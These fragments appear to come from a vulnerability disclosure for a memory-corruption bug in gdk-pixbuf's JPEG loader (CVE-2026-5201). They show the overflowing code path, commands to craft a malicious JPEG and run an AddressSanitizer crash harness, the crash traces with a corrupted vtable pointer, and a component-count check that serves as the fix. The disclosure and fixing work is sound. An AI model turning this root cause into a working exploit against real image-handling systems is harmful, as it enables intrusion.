pixbuf = gdk_pixbuf_new(GDK_COLORSPACE_RGB,
                        cinfo->out_color_components == 4 ? TRUE : FALSE,
                        8, cinfo->output_width, cinfo->output_height);

jpeg_read_scanlines(cinfo, lines, cinfo->rec_outbuf_height);
// writes output_components (9) bytes per pixel into a 3-byte buffer

python3 reproducer/craft_cve_2026_5201.py

# Compile
gcc -o crash_test reproducer/crash_test.c \
    $(pkg-config --cflags --libs gdk-pixbuf-2.0) -fsanitize=address -g

# Run
./crash_test cve_2026_5201.jpg

==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x52b000020006
==PID==The signal is caused by a WRITE memory access.
    #0  libjpeg.so.8  (null_convert)
    #1  libjpeg.so.8  (sep_upsample)
    #2  libjpeg.so.8  (process_data_context_main)
    #3  libjpeg.so.8  jpeg_read_scanlines
    #4  libgdk_pixbuf-2.0.so.0  (JPEG loader)
    #5  libgdk_pixbuf-2.0.so.0  gdk_pixbuf_new_from_file

Program received signal SIGSEGV, Segmentation fault.
g_type_check_instance_is_fundamentally_a ()
  → g_object_unref()
  → gdk_pixbuf_new_from_file()

rax = 0x808080808080ffff    ← corrupted GObject vtable pointer

jpeg_start_decompress(cinfo);

if (cinfo->output_components != 3 && cinfo->output_components != 4 &&
    !(cinfo->output_components == 1 &&
      cinfo->out_color_space == JCS_GRAYSCALE)) {
    g_set_error(error, GDK_PIXBUF_ERROR, GDK_PIXBUF_ERROR_CORRUPT_IMAGE,
                "Unsupported number of color components (%d)",
                cinfo->output_components);
    goto out;
}